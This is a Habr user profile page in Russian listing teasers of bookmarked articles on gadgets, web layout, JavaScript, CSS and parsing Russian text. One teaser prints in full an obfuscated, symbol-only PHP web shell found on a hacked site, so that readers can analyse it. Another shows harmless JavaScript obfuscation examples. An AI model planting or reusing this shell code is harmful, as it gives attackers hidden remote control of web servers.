Как стать автором
Обновить
16
0
Nik Grishin @Niksg

Пользователь

Отправить сообщение

Microsoft патентует похлопывание телефона, чтобы тот замолчал

Время на прочтение1 мин
Количество просмотров28K


Компания Microsoft оформила патентную заявку на оригинальное техническое изобретение — похлопывание телефона. Здесь интересна не только сама идея, но и тот факт, что слово «похлопывание» (wacking) используется в описании патента как настоящий технический термин.

Технически похлопывание формулируется как «получение информации, указывающей на акселерацию (ускорение) мобильного коммуникационного устройства; определение связи между информацией, указывающей на ускорение мобильного коммуникационного устройства, и соответствующим действием для похлопывания (whack event data); и основанном по меньшей мере на этой связи управлении уровнем звукового сигнала на мобильном коммуникационном устройстве».
Читать дальше →
Всего голосов 37: ↑31 и ↓6+25
Комментарии40

Аттракцион невиданной щедрости от Amazon. Еще раз о техподдержке

Время на прочтение2 мин
Количество просмотров202K

Началось все с того, что мой Kindle разбился. То есть как разбился… он лежал на кровати, заряжался себе, а потом на него случайно сели. Или легли, уже не припомню. В общем, подвергли бедный девайс давлению. И, как полагается нежному экрану, E-Ink Pearl потек.
Мои чувства можно выразить только первой картинкой поста.
А что дальше?
Всего голосов 197: ↑179 и ↓18+161
Комментарии154

Роботы проекта ALEAR создают собственный язык

Время на прочтение1 мин
Количество просмотров1.6K


Информация о роботах-циклопах Myon впервые появилась в 2010 году. Эти роботы были созданы стараниями разработчиков из Университета Гумбольта, Германия. Главная цель, поставленная гуманоидным роботам — создание синтетического языка, отработка некоторых лексических приемов, интересующих ученых всего мира. Сейчас проект (его название — ALEAR) наконец-то вошел в активную стадию, и роботы в поте лица, если так можно выразиться, создают свой язык.

Читать дальше →
Всего голосов 32: ↑26 и ↓6+20
Комментарии11

Обзор мощного мини-компьютера UG802

Время на прочтение4 мин
Количество просмотров241K


После первой попытки создать мини-компьютер в лице Riko MK802 и CX-01 китайские производители продолжают экспериментировать. Следующим этапом завоевания рынка стал выпуск мини-компьютера с куда более интересными характеристиками.
Как обычно, первая проблема возникла с названием. На данный момент мини-компьютер называется UG802.
Второй интересный момент — кто же на самом деле производит это изделие. Никакого отношения к Rikomagic (как можно было подумать из названия) данное устройство не имеет. В Сети были анонсы этого устройства под маркой Reno Botes. Но третий, самый вероятный вариант, что UG802 был произведён китайской компанией UGoos.
Давайте посмотрим, какую аппаратную часть нам предлагают в этой новинке.
Читать дальше →
Всего голосов 62: ↑57 и ↓5+52
Комментарии70

6 отстойных слов в вашем резюме

Время на прочтение4 мин
Количество просмотров83K
Эта статья – часть серии «Как написать резюме». Чтобы начать серию сначала, прочитайте введение.

За свою жизнь, я использовал несколько плохих слов. Даю %^й на отсечение, что вы тоже делали это. Но, когда неправильные слова появляются у вас в резюме – это делает его отстойным.
Читать дальше →
Всего голосов 182: ↑153 и ↓29+124
Комментарии109

Классы и фабрики. Как разобрать и собрать объект с наследованием на прототипах

Время на прочтение6 мин
Количество просмотров20K
Привет, Хабра!
При разработке игр на JavaScript часто возникает необходимость создавать множество объектов. О том, как правильно это сделать и не утонуть в коде, я рассказывал, примерно — месяц назад на Frontend Dev Conf в Минске. Возможно, доклад будет интересен тем, кто не был на конференции и сталкивался с проблемой создания множества объектов, либо является разработчиком HTML5 игр.



Под катом текст с картинками.
Читать дальше →
Всего голосов 37: ↑33 и ↓4+29
Комментарии9

30 полезных сервисов для веб-разработчика

Время на прочтение2 мин
Количество просмотров163K
Решил собрать сервисы, которые могут быть полезны веб-разработчикам и дизайнерам. Буду рад, если кто-то найдет для себя полезный сервис. Осторожно, под катом куча картинок!
Читать дальше →
Всего голосов 180: ↑156 и ↓24+132
Комментарии48

Чек-лист вёрстки. Что можно отдавать клиенту, а что надо переделывать

Время на прочтение20 мин
Количество просмотров315K
Идеальная вёрсткаВы PM. Как узнать – готова ли вёрстка к реальному использованию?
Вы заказчик. Как убедиться, что работа выполнена качественно?
Как оценить качество вёрстки?

Когда я стал тим-лидом, а позже PM, передо мной стала задача проверять вёрстку наших проектов. Нужно было выработать формальные, легкопроверяемые критерии, соответствие кода которым, должно было давать некую гарантию, что не будет факапов и ни клиент, ни программеры не сказажут потом “WTF?”.

Клиенту неважно насколько красив ваш код, но ему важен результат. Качественный код нужен фирме, т.к. он надёжней и в будущем его будет легче поддерживать.

Требования должны были быть такие, что соблюсти их легче, создавая качественную вёрстку, а не говнокод. Я составлял такой чек-лист в течении полутора лет. За последние полгода в него не добавилось ничего. Значит самое главное учтено.

Итак что же это за список?

Краткая версия теперь доступна на html5checklist.com (github), где можно вносить pull-request'ы.

История обновлений:
  • 2015/08/11: Актуализировал рекомендации по оптимизации скорости загрузки. Добавил требование поддержки Retina. Дополнил «19. Мелочи» требованием что изображения должны масштабироваться в зависимости от размера окна.
  • 2015/08/10: актуализирован список исключений для CSSLint
  • 2015/07/29: актуализирован пункт №13 «плохо»/«хорошо»
  • 2015/04/08: добавлено требование использования препроцессоров и рекомендация использования систем сборки
  • 2013/04/25: добавлены анализаторами качества кода: CSSLint и JSHint, указан сайт подбора css font stack (спасибо @fliptheweb), мелкие уточнения (работу интерактивных элементов страницы, что не пропадает фон на высоких разрешениях, не должно быть пустых презентационных блоков, при проверках контента — пробовать удалять заголовки, менять местами блоки)
  • 2013/04/24: добавил пункт об минимизации каскада (БЭМ-техники, MCSS, SMACSS), необходимости вписывания в экран моб. устройства, заменил ссылку на проверочный текст отображения стандартного html на код с normalize.css, поправил пример где в рекомендации встречался длинный каскад, упомянул про Opera на Presto и новый уровень семантики — в именах классов BEM.
  • 2012/04/12: отсортировал пункты проверки в порядке важности, выделил главные, дополнил статью подробностями
  • 2011/12/07: дополнил согласно доклада на WSD Минск'2011.
  • 2011/07/19: добавлено про повышение надёжности вёрстки благодаря html5-тэгам, про необходимость favicon/apple-touch-icon, отсутствие багов при ресайзе textarea
  • 2011/06/15: добавил пояснения какие ошибки валидации допустимы, рассказал про отсутствие официальной кнопки «HTML5 Valid» и про официальное лого HTML5 на сайте.


Далее с примерами - как проверить html, даже если вы ничего не понимаете в вёрстке.
Всего голосов 335: ↑318 и ↓17+301
Комментарии244

Яндекс.Каталог сбоит или взломан?

Время на прочтение1 мин
Количество просмотров33K
Залез я минут 15 назад в замечательный каталог Яндекса. И вот что обнаружил:

image

Ссылки ведут на совершенно левые сайты!

Читать дальше →
Всего голосов 77: ↑55 и ↓22+33
Комментарии24

Как заработать на майнинге с обычным домашним компьютером

Время на прочтение2 мин
Количество просмотров185K
Если у вас нет огромной фермы из десятков видеокарт, да и пара-тройка ASIC Miner’ов тоже отсутствует, не печальтесь – способы заработать на криптовалютах еще остаются. Один из более-менее рабочих вариантов – перед вами.



Читать дальше →
Всего голосов 120: ↑71 и ↓49+22
Комментарии42

Краткая инструкция по работе с web-дизайнером (для менеджера проекта)

Время на прочтение5 мин
Количество просмотров55K


В статье будут даны рекомендации по работе с WEB-дизайнерами. Исполнение этих рекомендаций даст значительное повышение качества работы, увеличение производительности труда и сохранит нервные клетки.

В каждом из пунктов будут живые примеры и ссылки на полезные, бесплатные инструменты.

В идеале, в комментариях вы оставите свои советы, замечания к статье, ссылки и примеры.
Читать дальше →
Всего голосов 53: ↑42 и ↓11+31
Комментарии60

Видео-курс по JavaScript на русском языке

Время на прочтение1 мин
Количество просмотров218K
Здравствуй, Хабр!

Представляю вам свой курс по JavaScript, недавно прошедний на Хекслете. Курс состоит из семи лекций общей продолжительностью около четырех часов.



Первая лекция: Введение в JavaScript, немного истории, числа (тут есть ошибка: функция toFixed округляет значения).



Остальное – под катом.
Читать дальше →
Всего голосов 135: ↑127 и ↓8+119
Комментарии23

HTML Academy, Хабр и краудфандинг

Время на прочтение3 мин
Количество просмотров90K
HTML Academy — это интерактивные онлайн-курсы по HTML и CSS. Проект существует уже более года, за который мы создали более 15 курсов, большая часть из которых бесплатна. Всё это время работа велась на чистом энтузиазме, однако, сейчас уже нужно выходить на новый уровень, чтобы делать курсы чаще, круче и полезнее. Для этого есть много путей, и один из них — народное финансирование.

Немного об HTML Academy


Всё обучение в академии происходит в практическом режиме. По сути, оно сводится к прохождению огромного количества практических заданий. Практическое задание выглядит вот так:

Практическое задание
Читать дальше →
Всего голосов 130: ↑118 и ↓12+106
Комментарии75

PHP-шелл без единого буквенно-цифрового символа

Время на прочтение1 мин
Количество просмотров89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Узнать подробности
Всего голосов 119: ↑105 и ↓14+91
Комментарии33

Обфускация JavaScript

Время на прочтение5 мин
Количество просмотров196K
В статье собраны всем известные методы и предельно извращенные. Эту статью я решил написать после недавнего прочтения поста в блоге Badass JavaScript и решил её дополнить своими находками.

Первый способ


Он всем известен — обфускация минимизаторами такими как JS Packer, JSmin, YUI Compressor, Closure compiler или можно просто пугуглить «JavaScript Obfuscator» и найдется ещё сто штук разных обфускаторов.
Они превращают существующий код
function MyClass(){
    this.foo = function(argument1, argument2){
        var addedArgs = parseInt(argument1)+parseInt(argument2);
        return addedArgs;
    }
    var anonymousInnerFunction = function(){
        // do stuff here!
    }
}

В какой-то такой вид:
function MyClass(){this.foo=function(c,b){var d=parseInt(c)+parseInt(b);return d};var a=function(){}};

Или такой:
var _0xd799=["\x66\x6F\x6F"];function MyClass(){this[_0xd799[0]]=function (_0xefcax2,_0xefcax3){var _0xefcax4=parseInt(_0xefcax2)+parseInt(_0xefcax3);return _0xefcax4;} ;var _0xefcax5=function (){} ;} ;

Или вот такой:
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 0="3 5!";9 2(1){6(1+"\\7"+0)}2("8");',10,10,'a|msg|MsgBox|Hello|var|World|alert|n|OK|function'.split('|'),0,{}))

Но ничего не стоит его восстановить с помощью jsbeautifier.org либо просто убрать eval и получить исходный код, многое потеряем, но смысл кода восстановим. Ну и с первого взгляда мы видим, что перед нами JavaScript.

Все это были цветочки под катом жесткие методы обфускации.
Читать дальше →
Всего голосов 171: ↑165 и ↓6+159
Комментарии85

Парсим русский язык

Время на прочтение8 мин
Количество просмотров70K

В прошлый раз (почти год назад) мы определяли части речи в русском тексте, производили морфологический анализ слов. В этой статье мы пойдем на уровень выше, к синтаксическому анализу целых предложений.

Наша цель заключается в создании парсера русского языка, т.е. программы, которая на вход бы принимала произвольный текст, а на выходе выдавала бы его синтаксическую структуру. Например, так:

"Мама мыла раму":

(предложение
    (именная гр. (сущ мама))
    (глаг. гр. (глаг мыла)
        (именная гр. (сущ раму)))
    (. .)))


Это называется синтаксическим деревом предложения. В графическом виде его можно представить следующим образом (в упрощенном виде):

Читать дальше →
Всего голосов 128: ↑124 и ↓4+120
Комментарии97

Пример — часы на СSS3 без изображений и JavaScript

Время на прочтение9 мин
Количество просмотров92K


Это статья о том, как был сделан демонстрационный пример Wall Clock in Pure CSS3. Изначально, я предполагал написать данную статью в виде пошагового учебного пособия, но в процессе я понял, что такой пример мало для этого подходит. Потому я решил остановиться только на деталях, которые, на мой взгляд, наиболее интересны, а реализацию остального можно посмотреть и в коде.

Для начала собственно сам пример — на codepen.io или на cssdesk.сom

Читать дальше →
Всего голосов 222: ↑215 и ↓7+208
Комментарии73

Тонкие моменты в договоре на разработку сайта

Время на прочтение7 мин
Количество просмотров100K
Привет, хабр! Продолжаю свой цикл материалов про маркетинг, продажи и клиентский сервис веб-студий и агентств. Сегодня хочу рассмотреть такую локальную тему, как заключение договора на создание сайта, и поговорить про его тонкие места.

Я не буду касаться общих разделов, структуры договора и прочих глобальных вещей, нормальный шаблон можно найти без особого труда.

* Сразу надо оговориться, я не юрист, поэтому приведенные мной формулировки можно считать рекомендациями по смыслу, но не форме.

Итак, я подготовил некий список неочевидных моментов, с которыми мне неоднократно приходилось сталкиваться на практике. Начнем:

Установка копирайта и публикация в портфолио


Очень часто при общении с заказчиком при запуске нового проекта конфликтным моментом становится размещение «марки» студии на сайте («Сделано в XXX » и пр.). Если данный момент никак не обозначен в договоре, то убедить заказчика прислушаться к вашим доводам бывает сложно. Часто проблемы возникают в самый последний момент, даже если изначально лейбл присутствовал и на макетах, и на тестовой зоне: «Ой, а мы не думали, что так и пойдет на основную версию сайта». Итак, что рекомендуется сделать:
Читать дальше →
Всего голосов 101: ↑95 и ↓6+89
Комментарии57

Отличный плагин для проверки верстки

Время на прочтение1 мин
Количество просмотров29K
Существует множество способов тестировать верстку. Большинство из них были описаны в статьях или комментариях хабра. Упоминаний данного способа я не нашел.

XPrecise



Утилита разработана командой xhtmlized.
Совместима со всеми браузерами, потому как подключается в виде плагина jQuery.

Установка и настройка

Для тестирования верстки вам нужно подключить jQuery, а за ним XPrecise

	<script src="http://code.jquery.com/jquery-1.7.1.min.js"></script>
	<script src="_xprecise/xprecise.min.js"></script>

Читать дальше →
Всего голосов 40: ↑35 и ↓5+30
Комментарии26

Может ли обычный текст поглючить IE?

Время на прочтение2 мин
Количество просмотров33K
Каждый, кому приходилось заниматься разработкой сайтов, знает об ошибках браузеров.

Однако до сегодняшнего дня я думал, что нужно хотя бы использовать хитрые конструкции CSS, вложенные иерархии DIV-ов и таблиц, всякие float-ы и коллапсирующиеся margin-ы, чтобы налететь на реальную ошибку.

Я был уверен, что существует хотя бы одна ситуация, когда можно не опасаться никаких засад и приколов: мы всегда можем обернуть фрагмент обычного текста обыкновенным DIV-ом (display:block; и float:none;) и быть уверенными, что наш текст останется внутри него:

<DIV>
Этот текст никогда не выйдет за пределы обычного DIV-а!
</DIV>
Но на самом деле нет пределов в этом жестоком мире браузерного маразма:

Читать дальше →
Всего голосов 84: ↑70 и ↓14+56
Комментарии35
1

Информация

В рейтинге
Не участвует
Откуда
Москва, Москва и Московская обл., Россия
Дата рождения
Зарегистрирован
Активность